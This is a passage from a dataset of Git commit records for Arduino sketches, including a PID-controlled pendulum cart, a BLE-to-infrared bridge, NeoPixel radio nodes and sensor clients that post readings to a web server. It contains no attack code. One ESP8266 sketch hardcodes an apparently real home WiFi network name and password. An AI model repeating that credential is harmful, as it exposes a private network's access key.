*\/\nExecStatus reset(CommandLine *clp)\n{\n elapsedMillis resetTimer = 0;\n unsigned long maxTime = 5000;\n\n digitalWrite(DIR_PIN, LEFT);\n analogWrite(PWM_PIN, 0.3*maxPwm);\n\n while (true)\n {\n \/\/ TODO: this timeout block is repeated 3x - refactor\n if (resetTimer > maxTime)\n {\n Serial.println(\"Reset timeout\");\n return FAILED;\n }\n if (digitalRead(LEFT_BUMP_PIN) == LOW)\n {\n trackEncoder.write(0);\n break;\n }\n }\n Serial.println(\"Found left limit.\");\n\n resetTimer = 0;\n while (true)\n {\n if (resetTimer > maxTime)\n {\n Serial.println(\"Reset timeout\");\n return FAILED;\n }\n if (digitalRead(RIGHT_BUMP_PIN) == LOW)\n {\n xMax = trackEncoder.read()\/2;\n trackEncoder.write(xMax);\n break;\n }\n }\n Serial.print(\"Found right limit.\\r\\nLimits = +\/-\");\n Serial.println(xMax);\n\n resetTimer = 0;\n xCart = trackEncoder.read();\n while (abs(xCart) > 2)\n {\n if (resetTimer > maxTime)\n {\n Serial.println(\"Reset timeout\");\n return FAILED;\n }\n digitalWrite(DIR_PIN, xCart > 0 ? LEFT : RIGHT);\n analogWrite(PWM_PIN, (float(xCart)\/xMax + 0.15)*maxPwm);\n delay(10);\n xCart = trackEncoder.read();\n }\n\n analogWrite(PWM_PIN, 0);\n\n Serial.print(\"Cart position: \");\n Serial.println(xCart);\n\n cartPid.setpoint = 0;\n\n return SUCCESS;\n}\n\nvoid printStatus(PIDControl &pid)\n{\n String s = String(\"kp,ki,kd: \") + kp + \", \" + ki + \", \" + kd\n + String(\"; p,i,d: \") + pid.kp + \", \" + pid.ki + \", \" + pid.kd\n + String(\" setpoint: \") + pid.setpoint\n + String(\" output: \") + pid.output\n + String(\" pwm: \") + dutyCycle;\n Serial.println(s);\n}\n\nvoid handleByte(byte b)\n{\n Serial.print((char)b);\n\n if (b == '-')\n cmd = \"-\";\n\n \/\/ kp\n else if (b == 'p') \/\/ increase kp\n kp += 0.01;\n else if (b == 'l') \/\/ decrease kp\n kp -= 0.01;\n\n \/\/ ki\n else if (b == 'i') \/\/ increase ki\n ki += 0.1;\n else if (b == 'k') \/\/ decrease ki\n ki -= 0.1;\n\n \/\/ kd\n else if (b == 'd') \/\/ increase kd\n kd += 0.001;\n else if (b == 'c') \/\/ decrease kd\n kd -= 0.001;\n\n else if (b == '.')\n cmd += b;\n else if (isDigit(b))\n {\n byte digit = b - 48;\n cmd += digit;\n }\n else if (b == '\\r' || b == '\\n')\n {\n \/\/ Assume here that cmd is a signed track x setpoint value in encoder units.\n \/\/ Convert to a fraction in [-1,1] for PID input\n float setpoint = cmd.toFloat()\/xMax;\n cartPid.setpoint = constrain(setpoint, cartPid.minOutput, cartPid.maxOutput);\n cmd = \"\";\n }\n else\n {\n cartPid.setPID(kp, ki, kd);\n Serial.println();\n printStatus(cartPid);\n }\n}\n\n\/\/ string -> callback \"dictionary\"\nCommand cmdlist[] =\n{\n {\"pid\", setPID},\n {\"setpoint\", setSetpoint},\n {\"reset\", reset},\n {NULL, NULL} \/\/ Required final entry\n};\n\nSimpleShell shell(cmdlist);\n\nvoid handleCommands()\n{\n if (Serial.available() > 0)\n {\n char input[256];\n memset(input, 0, 256);\n\n Serial.readBytesUntil('\\r', input, 256);\n\n switch (shell.executeCommand(input))\n {\n case SUCCESS:\n break;\n case FAILED:\n Serial.print(\"FAILED: \");\n Serial.println(input);\n break;\n case NOTFOUND:\n Serial.print(\"NOTFOUND: \");\n Serial.println(input);\n break;\n }\n }\n}\n\nvoid setup()\n{\n \/\/ Motor control pins\n analogWriteResolution(14); \/\/ bits\n analogWriteFrequency(PWM_PIN, pwmFreq);\n analogWrite(PWM_PIN, dutyCycle\/100*maxPwm);\n pinMode(DIR_PIN, OUTPUT);\n\n \/\/ Bump switch pins\n pinMode(LEFT_BUMP_PIN, INPUT_PULLUP);\n pinMode(RIGHT_BUMP_PIN, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(LEFT_BUMP_PIN), onLeftBump, FALLING);\n attachInterrupt(digitalPinToInterrupt(RIGHT_BUMP_PIN), onRightBump, FALLING);\n\n \/\/ Reset pushbutton\n pinMode(CART_RESET_PIN, INPUT_PULLUP);\n\n \/\/ Set output limits on cart PID controller.\n cartPid.minOutput = -1; \/\/ Full speed left\n cartPid.maxOutput = +1; \/\/ Full speed right\n\n Serial.begin(115200);\n\n \/\/ Don't continue until a terminal is connected. Useful for development.\n while (!Serial) {;}\n\n char cmd[] = \"reset\";\n shell.executeCommand(cmd);\n}\n\nvoid loop()\n{\n handleCommands();\n\n if (pidTimer >= timeStep)\n {\n if (prevSetpoint != cartPid.setpoint) printStatus(cartPid);\n pidTimer -= timeStep;\n float input = float(trackEncoder.read())\/xMax;\n cartPid.update(input, 0.001);\n digitalWrite(DIR_PIN, cartPid.output < 0 ? LEFT : RIGHT);\n analogWrite(PWM_PIN, (fabs(cartPid.output) + 0.1)*maxPwm);\n prevSetpoint = cartPid.setpoint;\n }\n}\n\n\/\/ Bump switch ISRs\nvoid onLeftBump() { digitalWrite(DIR_PIN, RIGHT); }\nvoid onRightBump() { digitalWrite(DIR_PIN, LEFT); }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'inverted-pendulum.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"213e9a9e10aa2c04569de8e9381e917b694ee56c","subject":"blinky test works","message":"blinky test works\n","repos":"jacksonsouza\/muffet,jacksonsouza\/muffet","old_file":"firmware\/blinky.ino","new_file":"firmware\/blinky.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jacksonsouza\/muffet.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"90294775fc67c1ed8ad514a924e5b9801d1e3b7a","subject":"Update Templete.ino","message":"Update Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete\/Templete.ino","new_file":"Arduino\/Templete\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"c35932d02fae62e5ec747577a57fe28492360287","subject":"license","message":"license","repos":"DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink","old_file":"dev\/v0p2_key_amnesia\/1_key_loss_reproduction\/security_eeprom_test\/security_eeprom_test.ino","new_file":"dev\/v0p2_key_amnesia\/1_key_loss_reproduction\/security_eeprom_test\/security_eeprom_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c5415c92dc82d1965406da3054687a16e7046b6b","subject":"- add IR bridge example","message":"- add IR bridge example\n","repos":"sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral","old_file":"examples\/ir_bridge\/ir_bridge.ino","new_file":"examples\/ir_bridge\/ir_bridge.ino","new_contents":"\/\/ Import libraries (BLEPeripheral depends on SPI)\n#include <SPI.h>\n#include <BLEPeripheral.h>\n\n\/\/ https:\/\/github.com\/shirriff\/Arduino-IRremote\n#include <IRremote.h>\n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 9\n#define BLE_RDY 8\n#define BLE_RST 4\n\n#define IR_SEND_PIN 13 \/\/ pin 3 on Uno\n#define IR_RECV_PIN 2\n\n#define LED_PIN 3\n\nstruct IRValue {\n char type;\n char bits;\n unsigned int address;\n unsigned long value;\n};\n\n\/\/ create IR send and recv instance, see pinouts above\nIRsend irSend = IRsend(\/*IR_SEND_PIN*\/);\nIRrecv irRecv = IRrecv(IR_RECV_PIN);\nIRValue irValue;\n\n\/\/ create peripheral instance, see pinouts above\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\n\n\/\/ create service and characteristics\nBLEService irService = BLEService(\"4952\");\nBLEFixedLengthCharacteristic irOutputCharacteristic = BLEFixedLengthCharacteristic(\"4953\", BLEWrite, sizeof(irValue));\nBLEFixedLengthCharacteristic irInputCharacteristic = BLEFixedLengthCharacteristic(\"4954\", BLENotify, sizeof(irValue));\n\n\nvoid setup() {\n Serial.begin(115200);\n#ifdef __AVR_ATmega32U4__\n\/\/ while(!Serial);\n#endif\n\n \/\/ set advertised local name and service UUID\n blePeripheral.setLocalName(\"IR\");\n blePeripheral.setAdvertisedServiceUuid(irService.uuid());\n\n \/\/ add service and characteristics\n blePeripheral.addAttribute(irService);\n blePeripheral.addAttribute(irOutputCharacteristic);\n blePeripheral.addAttribute(irInputCharacteristic);\n\n \/\/ assign event handlers for connected, disconnected to peripheral\n blePeripheral.setEventHandler(BLEConnected, blePeripheralConnectHandler);\n blePeripheral.setEventHandler(BLEDisconnected, blePeripheralDisconnectHandler);\n\n \/\/ begin initialization\n blePeripheral.begin();\n\n Serial.println(F(\"BLE IR Peripheral\"));\n\n \/\/ enable the IR receiver\n irRecv.enableIRIn();\n\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop() {\n \/\/ poll peripheral\n blePeripheral.poll();\n\n \/\/ poll the ouput characteristic\n pollIrOutput();\n\n \/\/ poll the IR receiver\n pollIrInput();\n}\n\nvoid blePeripheralConnectHandler(BLECentral& central) {\n \/\/ central connected event handler\n digitalWrite(LED_PIN, HIGH);\n}\n\nvoid blePeripheralDisconnectHandler(BLECentral& central) {\n \/\/ central disconnected event handler\n digitalWrite(LED_PIN, LOW);\n}\n\nvoid pollIrOutput() {\n \/\/ check if central has written to the output value\n if (irOutputCharacteristic.written()) {\n \/\/ copy the value written\n memcpy(&irValue, irOutputCharacteristic.value(), sizeof(irValue));\n\n \/\/ extract the data\n char irOutputType = irValue.type;\n char irOutputBits = irValue.bits;\n unsigned int irOutputAddress = irValue.address;\n unsigned long irOutputValue = irValue.value;\n\n int sendCount;\n\n \/\/ calculate how many times to send the value, depends on the type\n if (irOutputType == SONY || irOutputType == RC5 || irOutputType == RC6) {\n sendCount = 3;\n } else {\n sendCount = 1;\n }\n\n for (int i = 0; i < sendCount; i++) {\n switch (irOutputType) {\n case NEC:\n irSend.sendNEC(irOutputValue, irOutputBits);\n break;\n\n case SONY:\n irSend.sendSony(irOutputValue, irOutputBits);\n break;\n\n case RC5:\n irSend.sendRC5(irOutputValue, irOutputBits);\n break;\n\n case RC6:\n irSend.sendRC6(irOutputValue, irOutputBits);\n break;\n\n case DISH:\n irSend.sendDISH(irOutputValue, irOutputBits);\n break;\n\n case SHARP:\n irSend.sendSharpRaw(irOutputValue, irOutputBits);\n break;\n\n case PANASONIC:\n irSend.sendPanasonic(irOutputAddress, irOutputValue);\n break;\n\n case JVC:\n irSend.sendJVC(irOutputValue, irOutputBits, 0);\n break;\n\n case SAMSUNG:\n irSend.sendSAMSUNG(irOutputValue, irOutputBits);\n break;\n\n case SANYO:\n case MITSUBISHI:\n case LG:\n default:\n \/\/ not implemented\n break;\n }\n\n delay(40);\n }\n\n \/\/ re-enable the IR receiver\n irRecv.enableIRIn();\n }\n}\n\nvoid pollIrInput() {\n decode_results irDecodeResults;\n\n \/\/ check if IR recv has a result that can be decoded\n if (irRecv.decode(&irDecodeResults)) {\n\n \/\/ must have non-zero number of bits and known decode type\n if (irDecodeResults.bits && irDecodeResults.decode_type != UNKNOWN) {\n\n \/\/ extract the decoded value\n irValue.type = irDecodeResults.decode_type;\n irValue.address = (irValue.type == PANASONIC) ? irDecodeResults.panasonicAddress : 0;\n irValue.bits = irDecodeResults.bits;\n irValue.value = irDecodeResults.value;\n\n \/\/ update the IR characteristic with the result\n irInputCharacteristic.setValue((unsigned char *)&irValue, sizeof(irValue));\n }\n\n \/\/ resume IR receiving\n irRecv.resume();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ir_bridge\/ir_bridge.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ddd7f6a172a54cd84bcc8b4ba7aec6fa0a6291f0","subject":"cleaning code","message":"cleaning code\n","repos":"mborgraeve\/ArduinoThermostat,mborgraeve\/ArduinoThermostat","old_file":"esp8266_tmp\/test_sketch\/test_sketch.ino","new_file":"esp8266_tmp\/test_sketch\/test_sketch.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\nconst char* ssid = \"BandelBorgraeveBGN\"; \/\/ remplacer par le SSID de votre WiFi\nconst char* password = \"coucoucnous\"; \/\/ remplacer par le mot de passe de votre WiFi\nESP8266WebServer server(80); \/\/ on instancie un serveur ecoutant sur le port 80\n\nvoid setup(void){\n Serial.println(\"Initializing...\");\n Serial.begin(115200);\n \n \/\/ on demande la connexion au WiFi\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n \/\/ on attend d'etre connecte au WiFi avant de continuer\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n \/\/ on affiche l'adresse IP qui nous a ete attribuee\n Serial.println(\"\");\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n \/\/ on definit ce qui doit etre fait lorsque la route \/bonjour est appelee\n \/\/ ici on va juste repondre avec un \"hello !\"\n server.on(\"\/bonjour\", [](){\n server.send(200, \"text\/plain\", \"hello !\");\n Serial.print(\"hello !\");\n });\n pinMode(2, OUTPUT);\n server.on(\"\/2\/on\", [](){\n digitalWrite(2,HIGH);\n server.send(200, \"text\/plain\", \"LED 2 turned on !\");\n Serial.print(\"LED 2 turned on !\");\n });\n server.on(\"\/2\/off\", [](){\n digitalWrite(2,LOW);\n server.send(200, \"text\/plain\", \"LED 2 turned off !\");\n Serial.print(\"LED 2 turned off !\");\n });\n server.begin();\n}\nvoid loop(void){\n \/\/ a chaque iteration, on appelle handleClient pour que les requetes soient traitees\n server.handleClient();\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266_tmp\/test_sketch\/test_sketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2e363c7d12b3386ecb35dc4ba9ae9c7b3f6e4a84","subject":"kinda works","message":"kinda works\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndStopTest2\/EndStopTest2.ino","new_file":"EndStopTest2\/EndStopTest2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"8bbb63801bae3ba47ff5ce5c9cb1e3b09b13fd2e","subject":"Added the basic node firmware","message":"Added the basic node firmware\n","repos":"mayhem\/led-chandelier,mayhem\/led-chandelier,mayhem\/led-chandelier","old_file":"firmware\/node\/node.ino","new_file":"firmware\/node\/node.ino","new_contents":"#include <SPI85.h>\n#include <Mirf.h>\n#include <nRF24L01.h>\n#include <MirfHardwareSpi85Driver.h>\n#include <Adafruit_NeoPixel.h>\n\nconst uint8_t NUM_PIXELS = 8;\nconst uint8_t OUT_PIN = 1;\nconst uint64_t ADDRESS = 0x45;\nbyte addr[mirf_ADDR_LEN] = { ADDRESS, 0, 0, 0, 0 };\n\n\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUM_PIXELS, OUT_PIN, NEO_GRB + NEO_KHZ800);\n\nvoid show_color(uint8_t r, uint8_t g, uint8_t b)\n{\n uint8_t j;\n \n for(j = 0; j < NUM_PIXELS; j++)\n pixels.setPixelColor(j, r, g, b);\n pixels.show();\n}\n\nvoid startup_animation(void)\n{\n uint8_t i, j;\n uint8_t col1[3] = { 128, 70, 0 };\n uint8_t col2[3] = { 128, 0, 128 };\n\n for(i = 0; i < 10; i++)\n { \n for(j = 0; j < NUM_PIXELS; j++)\n {\n if (i % 2 == 0)\n {\n if (j % 2 == 1)\n pixels.setPixelColor(j, col1[0], col1[1], col1[2]);\n else\n pixels.setPixelColor(j, 0, 0, 0); \n }\n else\n {\n if (j % 2 == 0)\n pixels.setPixelColor(j, col2[0], col2[1], col2[2]);\n else\n pixels.setPixelColor(j, 0, 0, 0); \n }\n } \n pixels.show();\n delay(100);\n }\n show_color(0, 0, 0);\n}\n\n\nvoid setup()\n{\n pixels.begin();\n startup_animation();\n \n \/\/Serial.begin(9600);\n \/\/Serial.println(\"node starting\");\n\n Mirf.spi = &MirfHardwareSpi85;\n Mirf.cePin = 7;\n Mirf.csnPin = 3; \n Mirf.init();\n Mirf.setRADDR((byte *)\"aaaaa\");\n Mirf.payload = 3;\n Mirf.channel = 110;\n Mirf.configRegister(RF_SETUP,0x05);\n \/\/Mirf.configRegister(EN_AA, 0); \/\/ turn off auto ack for all channels.\n Mirf.baseConfig = _BV(EN_CRC) | _BV(CRCO);\n Mirf.config();\n delay(100); \n \/\/Serial.println(\"startup complete:\" + String(Mirf.getStatus()));\n}\n\nvoid loop()\n{\n byte data[Mirf.payload];\n\n if (Mirf.dataReady())\n { \n Mirf.getData(data);\n \/\/Serial.println(\"data: \" + String(data[0]) + \" \" + String(data[1]) + \" \" + String(data[2]));\n for(int i=0; i < NUM_PIXELS; i++)\n {\n pixels.setPixelColor(i, pixels.Color(data[0], data[1], data[2]));\n }\n pixels.show();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/node\/node.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b9dc18729075465606f0b6160203e65f29ff9ce0","subject":"Create E-Ink_example.ino","message":"Create E-Ink_example.ino","repos":"babean\/Photon-E-ink,babean\/Photon-E-ink","old_file":"E-Ink_example.ino","new_file":"E-Ink_example.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"hello_world.h\"\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"mpico.h\"\n\nlong last_entry=0;\n\nvoid setup() {\n pinMode(_TCBUSY_PIN, INPUT);\n\tSPI1.begin(SPI_MODE_MASTER,SS_PIN);\t\t\t\/\/ Init SPI bus\n\tSPI1.setBitOrder(MSBFIRST);\n\tSPI1.setClockSpeed(400,KHZ);\n\tSPI1.setDataMode(SPI_MODE3);\n\tSerial.begin(115200);\n\twaitInit();\n\n sendCommand(resetDataPointer,3);\n Serial.print(\"resetDataPointer: \");\n getResponse(-1);\n\n\n\tuploadImage(squirrel_xbm);\n\tSerial.println(\"Upload Image...\");\n\n sendCommand(displayUpdate,3);\n Serial.print(\"Display update... \");\n getResponse(-1);\n}\n\nvoid loop() {\nif ((millis()-last_entry)>4000){\n sendCommand(resetDataPointer,3);\n Serial.print(\"resetDataPointer: \");\n getResponse(-1);\n\n sendCommand(getDeviceInfo,4);\n Serial.print(\"getDeviceInfo: \");\n getResponse(0x00);\n\n sendCommand(getDeviceId,4);\n Serial.print(\"getDeviceID: \");\n getResponse(0x14);\n\n sendCommand(getSystemInfo,4);\n Serial.print(\"getSystemInfo: \");\n getResponse(0x00);\n\n sendCommand(getSystemVersionCode,4);\n Serial.print(\"getSystemVersion: \");\n getResponse(0x10);\n\n sendCommand(readSensorData,4);\n Serial.print(\"readSensorData: \");\n getResponse(0x02);\n \n last_entry=millis();\n }\n}\n\nvoid printHex(int input, bool ln){\n if (input<10) Serial.print(\"0\");\n if (ln) Serial.println(String(input,HEX));\n else Serial.print(String(input,HEX));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'E-Ink_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec590ffd31e57c178b150548b6753e1c007d6606","subject":"useless in detail debugging \u2026","message":"useless in detail debugging \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ddfd395cfe3d794d4f0bffcf012bddd6567318c9","subject":"Add arduino wifi and sensor details","message":"Add arduino wifi and sensor details\n","repos":"WALTERKERR\/TAP,WALTERKERR\/TAP,WALTERKERR\/TAP,WALTERKERR\/TAP,WALTERKERR\/TAP,WALTERKERR\/TAP","old_file":"TemperatureandSensingWifi.ino","new_file":"TemperatureandSensingWifi.ino","new_contents":"\n\/*\n Web client\n\n This sketch connects to a website (http:\/\/www.google.com)\n using a WiFi shield.\n\n This example is written for a network using WPA encryption. For\n WEP or WPA, change the Wifi.begin() call accordingly.\n\n This example is written for a network using WPA encryption. For\n WEP or WPA, change the Wifi.begin() call accordingly.\n\n Circuit:\n * WiFi shield attached\n\n created 13 July 2010\n by dlf (Metodo2 srl)\n modified 31 May 2012\n by Tom Igoe\n *\/\n\n\n#include <SPI.h>\n#include <WiFi.h>\n#include \"DHT.h\"\n#include <Wire.h>\n#include <Adafruit_MLX90614.h>\n#define mq2Pin 1 \/\/ MQ-2 module attach to A1 on SUNFOUNDER MEGA2560\nAdafruit_MLX90614 mlx = Adafruit_MLX90614();\n\n#define DHTPIN 2 \/\/ what digital pin we're connected to\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302), AM2321\n\nchar ssid[] = \"NETWORKNAME\"; \/\/ your network SSID (name)\nchar pass[] = \"PASSWORD\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint status = WL_IDLE_STATUS;\n\/\/ if you don't want to use DNS (and reduce your sketch size)\n\/\/ use the numeric IP instead of the name for the server:\n\/\/IPAddress server(74,125,232,128); \/\/ numeric IP for Google (no DNS)\nchar server[] = \"lit-reaches-37868.herokuapp.com\"; \/\/ name address for Google (using DNS)\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server\n\/\/ that you want to connect to (port 80 is default for HTTP):\nWiFiClient client;\nDHT dht(DHTPIN, DHTTYPE);\n\nvoid setup() {\n \/\/Initialize serial and wait for port to open:\n Serial.begin(9600);\n dht.begin();\n mlx.begin();\n \n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\");\n \/\/ don't continue:\n while (true);\n }\n\n String fv = WiFi.firmwareVersion();\n if (fv != \"1.1.0\") {\n Serial.println(\"Please upgrade the firmware\");\n }\n\n \/\/ attempt to connect to Wifi network:\n while (status != WL_CONNECTED) {\n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n status = WiFi.begin(ssid, pass);\n\n \/\/ wait 10 seconds for connection:\n delay(10000);\n }\n Serial.println(\"Connected to wifi\");\n printWifiStatus();\n\n Serial.println(\"\\nStarting connection to server...\");\n \/\/ if you get a connection, report back via serial:\n if (client.connect(server, 80)) {\n Serial.println(\"connected to server\");\n \/\/ Make a HTTP request:\n client.println(\"POST \/test HTTP\/1.1\");\n client.println(\"Host: lit-reaches-37868.herokuapp.com\");\n client.println(\"Content-Type: application\/x-www-form-urlencoded\");\n client.println(\"Content-Length: 16\");\n client.println();\n client.println(\"message=Initiate\");\n client.println();\n }\n}\n\nvoid loop() {\n\n while (client.available()) {\n char c = client.read();\n Serial.write(c);\n delay(3000);\n client.stop();\n makeCallonServer();\n }\n\n \/\/ if the server's disconnected, stop the client:\n if (!client.connected()) {\n Serial.println();\n Serial.println(\"disconnecting from server.\");\n client.stop();\n\n \/\/ do nothing forevermore:\n while (true);\n }\n}\n\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\nvoid makeCallonServer(){\n client.connect(server, 80);\/\/ Make a HTTP request:\n client.println(\"POST \/test HTTP\/1.1\");\n client.println(\"Host: lit-reaches-37868.herokuapp.com\");\n client.println(\"Content-Type: application\/x-www-form-urlencoded\");\n client.println(\"Content-Length: 65\");\n client.println();\n client.println(\"ObjectTempF:\"); client.println(mlx.readObjectTempF()); client.println(\"\"); \n client.println(\"MQ-2 Value:\"); client.println(analogRead(mq2Pin)); client.println(\"\");\n client.println(\"AmbientTempF:\"); client.println(mlx.readAmbientTempF()); client.println(\"XXXXXXXXXXXXXX\");\n client.println(\"Connection: close\");\n client.println();\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TemperatureandSensingWifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a63d4346513471f505083833871e48cd7b10232d","subject":"Added an Encoders example, copied from the Zumo32U4 library.","message":"Added an Encoders example, copied from the Zumo32U4 library.\n","repos":"pololu\/romi-32u4-arduino-library,pololu\/romi-32u4-arduino-library,pololu\/romi-32u4-arduino-library","old_file":"examples\/Encoders\/Encoders.ino","new_file":"examples\/Encoders\/Encoders.ino","new_contents":"\/* This program shows how to read the encoders on the Romi 32U4.\nThe encoders can tell you how far, and in which direction each\nmotor has turned.\n\nYou can press button A on the Romi to drive both motors forward\nat full speed. You can press button C to drive both motors\nin reverse at full speed.\n\nEncoder counts are printed to the LCD and to the serial monitor.\n\nOn the LCD, the top line shows the counts from the left encoder,\nand the bottom line shows the counts from the right encoder.\nEncoder errors should not happen, but if one does happen then the\nbuzzer will beep and an exclamation mark will appear temporarily\non the LCD.\n\nIn the serial monitor, the first and second numbers represent\ncounts from the left and right encoders, respectively. The third\nand fourth numbers represent errors from the left and right\nencoders, respectively. *\/\n\n#include <Wire.h>\n#include <Romi32U4.h>\n\nRomi32U4Encoders encoders;\nRomi32U4LCD lcd;\nRomi32U4Buzzer buzzer;\nRomi32U4Motors motors;\nRomi32U4ButtonA buttonA;\nRomi32U4ButtonC buttonC;\n\nconst char encoderErrorLeft[] PROGMEM = \"!<c2\";\nconst char encoderErrorRight[] PROGMEM = \"!<e2\";\n\nchar report[80];\n\nvoid setup()\n{\n\n}\n\nvoid loop()\n{\n static uint8_t lastDisplayTime;\n static uint8_t displayErrorLeftCountdown = 0;\n static uint8_t displayErrorRightCountdown = 0;\n\n if ((uint8_t)(millis() - lastDisplayTime) >= 100)\n {\n lastDisplayTime = millis();\n\n int16_t countsLeft = encoders.getCountsLeft();\n int16_t countsRight = encoders.getCountsRight();\n\n bool errorLeft = encoders.checkErrorLeft();\n bool errorRight = encoders.checkErrorRight();\n\n if(encoders.checkErrorLeft())\n {\n \/\/ An error occurred on the left encoder channel.\n \/\/ Display it on the LCD for the next 10 iterations and\n \/\/ also beep.\n displayErrorLeftCountdown = 10;\n buzzer.playFromProgramSpace(encoderErrorLeft);\n }\n\n if(encoders.checkErrorRight())\n {\n \/\/ An error occurred on the left encoder channel.\n \/\/ Display it on the LCD for the next 10 iterations and\n \/\/ also beep.\n displayErrorRightCountdown = 10;\n buzzer.playFromProgramSpace(encoderErrorRight);\n }\n\n \/\/ Update the LCD with encoder counts and error info.\n lcd.clear();\n lcd.print(countsLeft);\n lcd.gotoXY(0, 1);\n lcd.print(countsRight);\n\n if (displayErrorLeftCountdown)\n {\n \/\/ Show an exclamation point on the first line to\n \/\/ indicate an error from the left encoder.\n lcd.gotoXY(7, 0);\n lcd.print('!');\n displayErrorLeftCountdown--;\n }\n\n if (displayErrorRightCountdown)\n {\n \/\/ Show an exclamation point on the second line to\n \/\/ indicate an error from the left encoder.\n lcd.gotoXY(7, 1);\n lcd.print('!');\n displayErrorRightCountdown--;\n }\n\n \/\/ Send the information to the serial monitor also.\n snprintf_P(report, sizeof(report),\n PSTR(\"%6d %6d %1d %1d\"),\n countsLeft, 